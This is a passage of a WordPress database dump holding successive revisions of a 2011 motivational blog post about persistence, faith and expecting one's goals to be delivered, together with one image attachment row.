here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n\r\nFeeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.\r\n\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-2', '', '', '2011-03-22 10:13:48', '2011-03-22 17:13:48', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-2/', 0, 'revision', '', 0),
(1544, 2, '2011-03-22 10:14:39', '2011-03-22 17:14:39', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistence. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h3><strong>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</strong></h3>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n\r\nFeeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.\r\n\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-3', '', '', '2011-03-22 10:14:39', '2011-03-22 17:14:39', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-3/', 0, 'revision', '', 0),
(1545, 2, '2011-03-22 10:14:48', '2011-03-22 17:14:48', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistence. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h3><strong>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</strong></h3>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n\r\nFeeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.\r\n\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-4', '', '', '2011-03-22 10:14:48', '2011-03-22 17:14:48', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-4/', 0, 'revision', '', 0),
(1548, 2, '2011-03-22 10:21:37', '2011-03-22 17:21:37', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-7', '', '', '2011-03-22 10:21:37', '2011-03-22 17:21:37', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-7/', 0, 'revision', '', 0),
(1546, 2, '2011-03-22 10:19:18', '2011-03-22 17:19:18', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2><strong>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</strong></h2>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-5', '', '', '2011-03-22 10:19:18', '2011-03-22 17:19:18', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-5/', 0, 'revision', '', 0),
(1547, 2, '2011-03-22 10:19:27', '2011-03-22 17:19:27', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2><strong>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</strong></h2>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-6', '', '', '2011-03-22 10:19:27', '2011-03-22 17:19:27', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-6/', 0, 'revision', '', 0),
(1549, 2, '2011-03-22 10:25:04', '2011-03-22 17:25:04', '', 'pearls', 0, '', 'inherit', 'open', 'open', '', 'pearls-2', '', '', '2011-03-22 10:25:04', '2011-03-22 17:25:04', '', 1540, 'http://www.whitehotcenter.com/wp-content/uploads/2011/03/pearls1.jpg', 0, 'attachment', 'image/jpeg', 0),
(1550, 2, '2011-03-22 10:21:48', '2011-03-22 17:21:48', '<h1><img class="alignnone size-full wp-image-1541" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls.jpg" alt="Pearls of Wisdom" width="495" height="266" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-8', '', '', '2011-03-22 10:21:48', '2011-03-22 17:21:48', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-8/', 0, 'revision', '', 0),
(1552, 2, '2011-03-22 10:25:35', '2011-03-22 17:25:35', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\nLet me re-state the principle here:\r\n<strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong>\r\n\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-10', '', '', '2011-03-22 10:25:35', '2011-03-22 17:25:35', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-10/', 0, 'revision', '', 0),
(1553, 2, '2011-03-22 10:27:50', '2011-03-22 17:27:50', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3><strong>Let me re-state the principle here:\r\n</strong> <strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong></h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-11', '', '', '2011-03-22 10:27:50', '2011-03-22 17:27:50', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-11/', 0, 'revision', '', 0),
(1554, 2, '2011-03-22 10:27:57', '2011-03-22 17:27:57', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3><strong>Let me re-state the principle here:\r\n</strong> <strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong></h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be achieved.  I worry there is not enough time, contacts, money, poor economy, blah, blah, blah.\r\n\r\nIn my persistence to create new business, I’ve allowed my focus to drift to my perceived lack and limitation… and as we all know, anytime we feel lack, we cut ourselves off from inspiration. My higher self is writing this post for my limited self right now.  Of course if the shoe fits for you…\r\n<h2>Feeling inspired about our vision for a bigger future comes from unwavering faith and belief that what you are working so hard for is, in fact, on its way to you, but is currently over the horizon out of your view. We must trust in our faith and belief that our vision is on its way, but will arrive in its own time.  We can’t control the “when it will happen”.</h2>\r\nOnly faith and belief can sustain persistent energy and action. They’re two sides of the same coin. One is no good without the other. No matter how disciplined you are, your persistent actions cannot be sustained unless you are guided by your faith and belief that you will accomplish what you desire.\r\n\r\nOnly a conscious mind with conviction can turn raw possibilities and potential into physical reality. Faith and belief require we are paying attention, focused on our ideal. Faith and belief live in the present–the future is now.\r\n\r\nIt’s easy to get bogged down in the complexity, the details, and the fear. That’s part of the creative process too. Acknowledge it and take a deep breath. Now focus your attention on the shear joy that comes from committing to the pursuit of a big idea that really matters to you, confidently knowing in time, it will be delivered.', 'Know what you want, expect it will be delivered.', 0, '', 'inherit', 'open', 'open', '', '1540-revision-12', '', '', '2011-03-22 10:27:57', '2011-03-22 17:27:57', '', 1540, 'http://www.whitehotcenter.com/2011/03/22/1540-revision-12/', 0, 'revision', '', 0);
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(1555, 2, '2011-03-22 10:29:11', '2011-03-22 17:29:11', '<h1><img class="alignnone size-full wp-image-1549" title="pearls" src="http://whc.fbdev.org/wp-content/uploads/2011/03/pearls1.jpg" alt="" width="485" height="261" /><span style="color: #808080;">We’ve all been told countless times–persistence pays! Everybody “knows” the value of persistent action. But persistence alone is not enough to create results.</span></h1>\r\nThis is my first post in over a month!  I’ve been heads down and tweaking in business development mode for my branding agency PULL Brand Innovation. If you’ve followed my stuff here on the blog, you may know I created the White Hot Center (labor of love) and PULL Brand Innovation (labor of love and money) at the same time. Both entities represent my big ideas for creating a bigger future. Only one of them currently pays the bills.\r\n\r\nLike many of you are doing in your own businesses, I’ve had to put greater focus on generating the cash flow. My absence here is proof of my persistent action elsewhere.  But I would be less than honest if I didn’t admit to breaking a fundamental creation principle of the White Hot Center Manifesto:\r\n<h2>Persistent action towards the goal you are pursuing, without unwavering faith and belief that you will in fact achieve it, is the same as driving with your foot on the brake.</h2>\r\n<h3><strong>Let me re-state the principle here:\r\n\r\n</strong> <strong>Know what you want, decide to pursue it, expect that it will be delivered to you.</strong></h3>\r\nNever desire what you don’t expect to experience, nor expect to experience what you don’t desire. Nothing will block your flow (results) faster than getting yourself tangled up on the wrong end of this principle.  To create, it’s essential to expect whatever you are persistently working towards will be delivered to you. Expect, without exception or reservation, that what you desire will happen. Hope is not enough. Luck has nothing to do with it either.\r\n\r\nOne of the more interesting things about writing this blog is when I realize I’m in need of a good dose of my own medicine. The honest truth is I still struggle with trace amounts of disbelief that my big ideas and desires will be 